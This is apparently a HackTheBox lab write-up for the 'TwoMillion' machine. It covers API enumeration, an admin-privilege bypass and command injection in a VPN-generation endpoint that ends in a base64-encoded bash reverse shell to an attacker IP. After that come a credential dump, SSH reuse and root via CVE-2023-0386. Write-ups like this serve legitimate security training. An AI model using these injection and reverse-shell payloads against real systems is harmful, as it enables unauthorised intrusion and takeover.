TwoMillion | HackTheBox
Overview
Title | TwoMillion |
---|---|
Difficulty | Easy |
Machine | Linux |
Makers |
About TwoMillion
Information Gathering
Scan all open TCP ports:
nmap -p- -T4 --min-rate 10000 10.10.11.221 -oA nmap/ports
Starting Nmap 7.80 ( https://nmap.org ) at 2023-07-25 16:21 IST
Nmap scan report for 10.10.11.221
Host is up (0.27s latency).
Not shown: 65499 filtered ports, 34 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 40.02 seconds
Further scan the open ports with default script and service scan flags:
nmap -p22,80 -sC -sV 10.10.11.221 -oA nmap/service
Starting Nmap 7.80 ( https://nmap.org ) at 2023-07-25 16:24 IST
Nmap scan report for 10.10.11.221
Host is up (0.66s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.33 seconds
Let’s add the domain name to the /etc/hosts
file.
sudo echo "10.10.11.221 2million.htb" >> /etc/hosts
Now scan the port 80 again to see if anything changes:
nmap -p80 -sC -sV 10.10.11.221 -oA nmap/http
Starting Nmap 7.80 ( https://nmap.org ) at 2023-07-25 16:39 IST
Nmap scan report for 2million.htb (10.10.11.221)
Host is up (0.32s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Hack The Box :: Penetration Testing Labs
|_http-trane-info: Problem with XML parsing of /evox/about
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.26 seconds
Nothing interesting…
Port 80 - HTTP (Nginx)
As I said earlier, in order to register a new account we have to solve this challenge:
I will be going through the challenge without detailed explanation assuming that you guys know the stuff already.
Generate invite code:
Send a post request to /api/v1/invite/generate
curl -XPOST 'http://2million.htb/api/v1/invite/generate'
The code is encoded in base64 you can either decode it using base64 -d
or be more cool and use jq
instead. We can use the @base64d
format string to decode base64 encoding.
-r
flag is used to get raw output of the filter (i.e. without quotes).data.code
is used to get the value ofcode
insidedata
- we then pipe the output into
@base64d
format string to decode the base64 value
curl -XPOST 'http://2million.htb/api/v1/invite/generate' --silent | jq -r '.data.code | @base64d'
2SLRO-WDS71-6ECIA-BTIJ5
Now using this invite code we can register a new account and check the functionalities.
Fuzzing time:
I am using Feroxbuster and dirsearch wordlist for a quick scan:
feroxbuster -u http://2million.htb/ --no-recursion --wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/dirsearch.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.7.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://2million.htb/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/dirsearch.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.7.3
💉 Config File │ /home/h4r1337/.config/feroxbuster/ferox-config.toml
🏁 HTTP methods │ [GET]
🚫 Do Not Recurse │ true
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
WLD GET 7l 11w 162c Got 301 for http://2million.htb/39a396fcdf9146a789798c2d83ce42ec (url length: 32)
WLD - - - http://2million.htb/39a396fcdf9146a789798c2d83ce42ec => http://2million.htb/404
WLD GET - - - Wildcard response is static; auto-filtering 162 responses; toggle this behavior by using --dont-filter
WLD GET 7l 11w 162c Got 301 for http://2million.htb/e4a3055cc9a64e0bb20aacb1d4ae37ffb441b4c8fcf5452f9ab15d4b36d50eda7b7fbd4b1d82425c95406f6fd304e83c (url length: 96)
WLD - - - http://2million.htb/e4a3055cc9a64e0bb20aacb1d4ae37ffb441b4c8fcf5452f9ab15d4b36d50eda7b7fbd4b1d82425c95406f6fd304e83c => http://2million.htb/404
200 GET 1242l 3326w 0c http://2million.htb/
200 GET 46l 152w 0c http://2million.htb/404
401 GET 0l 0w 0c http://2million.htb/api
403 GET 7l 9w 146c http://2million.htb/assets/
403 GET 7l 9w 146c http://2million.htb/controllers/
403 GET 7l 9w 146c http://2million.htb/css/
403 GET 7l 9w 146c http://2million.htb/fonts/
302 GET 0l 0w 0c http://2million.htb/home => http://2million.htb/
403 GET 7l 9w 146c http://2million.htb/images/
200 GET 96l 285w 0c http://2million.htb/invite
403 GET 7l 9w 146c http://2million.htb/js/
302 GET 0l 0w 0c http://2million.htb/logout => http://2million.htb/
200 GET 1242l 3326w 0c http://2million.htb/views/
[####################] - 1m 13193/13193 0s found:15 errors:0
[####################] - 1m 13195/13193 182/s http://2million.htb/
Let’s check further inside the /api
endpoint using some specific wordlists from seclists
feroxbuster -u http://2million.htb/api/ --wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/api/objects.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.7.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://2million.htb/api/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/api/objects.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.7.3
💉 Config File │ /home/h4r1337/.config/feroxbuster/ferox-config.toml
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
WLD GET 7l 11w 162c Got 301 for http://2million.htb/api/5030f00dc2f645de8293e52d19e06e72 (url length: 32)
WLD - - - http://2million.htb/api/5030f00dc2f645de8293e52d19e06e72 => http://2million.htb/404
WLD GET - - - Wildcard response is static; auto-filtering 162 responses; toggle this behavior by using --dont-filter
WLD GET 7l 11w 162c Got 301 for http://2million.htb/api/fb7fa5e4ff13410d890e539d08e9ddab5934e9af97514708acd99ccc463694dbb32a685eae8f4ef69d7f71ae7d95fe2f (url length: 96)
WLD - - - http://2million.htb/api/fb7fa5e4ff13410d890e539d08e9ddab5934e9af97514708acd99ccc463694dbb32a685eae8f4ef69d7f71ae7d95fe2f => http://2million.htb/404
401 GET 0l 0w 0c http://2million.htb/api/v1
[####################] - 18s 3133/3133 0s found:3 errors:0
[####################] - 17s 3135/3133 174/s http://2million.htb/api/
It’s showing 401
so we need an account to view that any way:
The /api/v1
list outs all the available api endpoints and we can see that there’s an endpoint to update admin settings /api/v1/admin/settings/update
. Let’s see what it does.
curl -XPUT 'http://2million.htb/api/v1/admin/settings/update' -H 'Cookie: PHPSESSID=rkdg35h0k13lm3asa5vhjv4lt8'
{"status":"danger","message":"Invalid content type."}
It looks like we can follow the error messges to determine all the parameters required.
curl -XPUT 'http://2million.htb/api/v1/admin/settings/update' -H 'Cookie: PHPSESSID=rkdg35h0k13lm3asa5vhjv4lt8' -H 'Content-Type: application/json'
{"status":"danger","message":"Missing parameter: email"}
curl -XPUT 'http://2million.htb/api/v1/admin/settings/update' -H 'Cookie: PHPSESSID=rkdg35h0k13lm3asa5vhjv4lt8' -H 'Content-Type: application/json' -d '{"email": "admin@2million.htb"}'
{"status":"danger","message":"Missing parameter: is_admin"}
curl -XPUT 'http://2million.htb/api/v1/admin/settings/update' -H 'Cookie: PHPSESSID=rkdg35h0k13lm3asa5vhjv4lt8' -H 'Content-Type: application/json' -d '{"email": "admin@2million.htb", "is_admin": 1}'
{"status":"danger","message":"Email not found."}
After some trial and error we got all of the necessary parameters. Now lets try using the email we created the account with and see what happens.
curl -XPUT 'http://2million.htb/api/v1/admin/settings/update' -H 'Cookie: PHPSESSID=rkdg35h0k13lm3asa5vhjv4lt8' -H 'Content-Type: application/json' -d '{"email": "randomuser@2million.htb", "is_admin": 1}'
{"id":14,"username":"randomuser","is_admin":1}
Great! looks like we are admin now. Let’s confirm it by sending a request to the /admin/auth
api endpoint.
curl -XGET 'http://2million.htb/api/v1/admin/auth' -H 'Cookie: PHPSESSID=rkdg35h0k13lm3asa5vhjv4lt8'
{"message":true}
Yup we are admin!
Let’s check the /api/v1/admin/vpn/generate
endpoint. Again after some trial and error we can see that it requires a username
parameter to work. Let’s give it ours and see the generated output.
curl -XPOST 'http://2million.htb/api/v1/admin/vpn/generate' -H 'Cookie: PHPSESSID=rkdg35h0k13lm3asa5vhjv4lt8' -H 'Content-Type: application/json' -d '{"username": "randomuser"}'
client
dev tun
proto udp
remote edge-eu-free-1.2million.htb 1337
resolv-retry infinite
nobind
persist-key
persist-tun
remote-cert-tls server
comp-lzo
verb 3
data-ciphers-fallback AES-128-CBC
data-ciphers AES-256-CBC:AES-256-CFB:AES-256-CFB1:AES-256-CFB8:AES-256-OFB:AES-256-GCM
tls-cipher "DEFAULT:@SECLEVEL=0"
auth SHA256
key-direction 1
<ca>
..........SNIP..........
-----END OpenVPN Static key V1-----
</tls-auth>
If you check the vpn file generated we can see that the value of the username
parameter is reflected in there:
If proper validation is not done then we could try some injection type vulerability and check if anything is working.
Exploitation
RCE
We can see that the username is reflecting in the vpn file generated. First I tested for rce in the username
parameter. But unfortunately the output is not showing when the username is changed so something is stopping the execution when we input rce payloads. One way w can test the rce is by using the sleep
command and check the time delay:
time curl --silent -XPOST 'http://2million.htb/api/v1/admin/vpn/generate' -H 'Cookie: PHPSESSID=rkdg35h0k13lm3asa5vhjv4lt8' -H 'Content-Type: application/json' -d '{"username": "randomuser"}' > test
________________________________________________________
Executed in 1.81 secs fish external
usr time 8.23 millis 1.21 millis 7.03 millis
sys time 7.17 millis 0.14 millis 7.03 millis
time curl --silent -XPOST 'http://2million.htb/api/v1/admin/vpn/generate' -H 'Cookie: PHPSESSID=rkdg35h0k13lm3asa5vhjv4lt8' -H 'Content-Type: application/json' -d '{"username": "randomuser;sleep 5"}' > test
________________________________________________________
Executed in 6.21 secs fish external
usr time 11.54 millis 1.06 millis 10.48 millis
sys time 3.62 millis 0.12 millis 3.50 millis
See the time difference:
Now we can confirm RCE. So let’s exploit it by adding a reverse shell payload from revshells.com
Here I used base64 encoding to make the payload work without producing any errors.
We can send a POST request with the payload to get a shell:
curl --silent -XPOST 'http://2million.htb/api/v1/admin/vpn/generate' -H 'Cookie: PHPSESSID=rkdg35h0k13lm3asa5vhjv4lt8' -H 'Content-Type: application/json' -d '{"username": "randomuser;echo \'MDwmMTk2O2V4ZWMgMTk2PD4vZGV2L3RjcC8xMC4xMC4xNC42MC8xMjM0OyBiYXNoIDwmMTk2ID4mMTk2IDI+JjE5Ng==\'| base64 -d | bash"}'
And we got shell as www-data
Lateral Movement to user
Local Enumeration
There’s a .env
file with some database credentials. We could probably use it to check the database for any valuable information or try to use the username and password to ssh into the machine (since admin
user is present in the /etc/passwd
file)
But before that let’s check what’s actually happening in the php files.
Source code analysis:
if you check the controllers/AdminController.php
file in the api/v1/admin/update/settings
endpoint they are already checking whether the current user is admin or not. If the $is_admin
variable is false then it simply exits. Then how we are able to visit the endpoint?
public function update_settings($router) {
$db = Database::getDatabase();
$is_admin = $this->is_admin($router);
if (!$is_admin) {
return header("HTTP/1.1 401 Unauthorized");
exit;
}
It is using the is_admin()
function to check whether we are admin and stores the return value to $is_admin
variable. Then inside and if statement its just checking !$is_admin
.
So the is_admin()
should return either TRUE
or FALSE
right? right?
NOP!
The is_admin()
function is just returning a json output and the TRUE
and FALSE
values are just inside the json data:
public function is_admin($router)
{
if (!isset($_SESSION) || !isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true || !isset($_SESSION['username'])) {
return header("HTTP/1.1 401 Unauthorized");
exit;
}
$db = Database::getDatabase();
$stmt = $db->query('SELECT is_admin FROM users WHERE username = ?', ['s' => [$_SESSION['username']]]);
$user = $stmt->fetch_assoc();
if ($user['is_admin'] == 1) {
header('Content-Type: application/json');
return json_encode(['message' => TRUE]);
} else {
header('Content-Type: application/json');
return json_encode(['message' => FALSE]);
}
}
So whatever the return value is the if block inside the update_settings()
function is just not going to work. Because the value of $is_admin
will never be interpreted as FALSE
.
In order to fix the issue we have to use json_decode()
and check the value of message
. It would be something like this:
```php
public function update_settings($router) {
$db = Database::getDatabase();
$json = json_decode($this->is_admin($router));
if (!$json->message) {
return header("HTTP/1.1 401 Unauthorized");
exit;
}
Hopefully this should work (I haven’t tested it).
Ok now let’s move on the controllers/VPNController.php
file where the /api/v1/admin/vpn/generate
endpoint is defined:
public function admin_vpn($router) {
if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) {
return header("HTTP/1.1 401 Unauthorized");
exit;
}
if (!isset($_SESSION['is_admin']) || $_SESSION['is_admin'] !== 1) {
return header("HTTP/1.1 401 Unauthorized");
exit;
}
if (!isset($_SERVER['CONTENT_TYPE']) || $_SERVER['CONTENT_TYPE'] !== 'application/json') {
return json_encode([
'status' => 'danger',
'message' => 'Invalid content type.'
]);
exit;
}
$body = file_get_contents('php://input');
$json = json_decode($body);
if (!isset($json)) {
return json_encode([
'status' => 'danger',
'message' => 'Missing parameter: username'
]);
exit;
}
if (!$json->username) {
return json_encode([
'status' => 'danger',
'message' => 'Missing parameter: username'
]);
exit;
}
$username = $json->username;
$this->regenerate_user_vpn($router, $username);
$output = shell_exec("/usr/bin/cat /var/www/html/VPN/user/$username.ovpn");
return is_array($output) ? implode("<br>", $output) : $output;
}
The function is passing the $username
variable to regenerate_user_vpn()
function:
public function regenerate_user_vpn($router, $user = null) {
if ($user != null) {
exec("/bin/bash /var/www/html/VPN/gen.sh $user", $output, $return_var);
} else {
if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) {
return header("HTTP/1.1 401 Unauthorized");
exit;
}
if (!isset($_SESSION['username']) || $_SESSION['username'] == null) {
return header("HTTP/1.1 401 Unauthorized");
exit;
}
$username = $this->remove_special_chars($_SESSION['username']);
$fileName = $username. ".ovpn";
exec("/bin/bash /var/www/html/VPN/gen.sh $username", $output, $return_var);
$this->download_vpn($fileName);
}
}
The function is using exec()
function to generate the vpn file if simply $user
is not null
. Great.
Anyway… let’s move on to the next step.
Lateral Movement vector
First let’s login to mysql.
There are two tables - invite_codes
and users
:
MariaDB [htb_prod]> show tables;
+--------------------+
| Tables_in_htb_prod |
+--------------------+
| invite_codes |
| users |
+--------------------+
2 rows in set (0.000 sec)
invite_codes
probably contain the codes for the invite challenge. We could find usernames and credentials of the accounts created in the users
table:
MariaDB [htb_prod]> select * from users;
+----+--------------+----------------------------+--------------------------------------------------------------+----------+
| id | username | email | password | is_admin |
+----+--------------+----------------------------+--------------------------------------------------------------+----------+
| 11 | TRX | trx@hackthebox.eu | $2y$10$TG6oZ3ow5UZhLlw7MDME5um7j/7Cw1o6BhY8RhHMnrr2ObU3loEMq | 1 |
| 12 | TheCyberGeek | thecybergeek@hackthebox.eu | $2y$10$wATidKUukcOeJRaBpYtOyekSpwkKghaNYr5pjsomZUKAd0wbzw4QK | 1 |
| 13 | admin | admin@admin.com | $2y$10$N.hsJNfoYPGV3SGCcTYcmO5CeJ6P6mDxJS11jmAX4C/FZ2qzEX8Qm | 1 |
| 14 | randomuser | randomuser@2million.htb | $2y$10$MdxNNwxCAbufgaCEMsv7SeHG4yLyB551P40eAtOpqDDGJOiZHoT/S | 1 |
+----+--------------+----------------------------+--------------------------------------------------------------+----------+
4 rows in set (0.000 sec)
Nothing specific.
Let’s try ssh using the username and the password we got.
ssh admin@10.10.11.221
admin@10.10.11.221s password:
admin@2million:~$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
admin@2million:~$ whoami
admin
admin@2million:~$ cat user.txt
****************************
Alright we got logged in as admin
user.
Privilege Escalation
Local Enumeration
First things first:
After some enumeration found /var/mail/admin
file is readable by the admin user and may contain something interesting I mean exposition:
admin@2million:~$ find / -type f -user admin -readable 2>/dev/null
As I said, not so creative but considering the burden of being an easy box it is okay…
After searching a bit about OverlayFS kernel exploits I found this one: CVE-2023-0386
Privilege Escalation vector
CVE 2023 0386
Check this awesome blog from Datadog Security Labs to know more about the exploit. We can use this POC to exploit the vulnerability.
Looks like someone already did it for me and forgot to clean it up:
Anyway…
We can use it to exploit and escalate into the root user:
Since the machine have tmux
already installed, we can use it to run the exploits in two seperate window:
And that’s it, we got the root shell!!
root@2million:/# whoami
root
root@2million:/# id
uid=0(root) gid=0(root) groups=0(root),1000(admin)
root@2million:/# cat /root/root.txt
****************************
root@2million:/#
Overall this was a fun easy box. I was able to get into the working of the api by checking the php files and it was fun. There’s also a fun easter egg kind of thing hidden inside the root directory, so if you are interested try to find it out yourself. This box also helped me to learn more about CVE-2023-0386
. Maybe I will write about the vulnerability in detail in some other blog.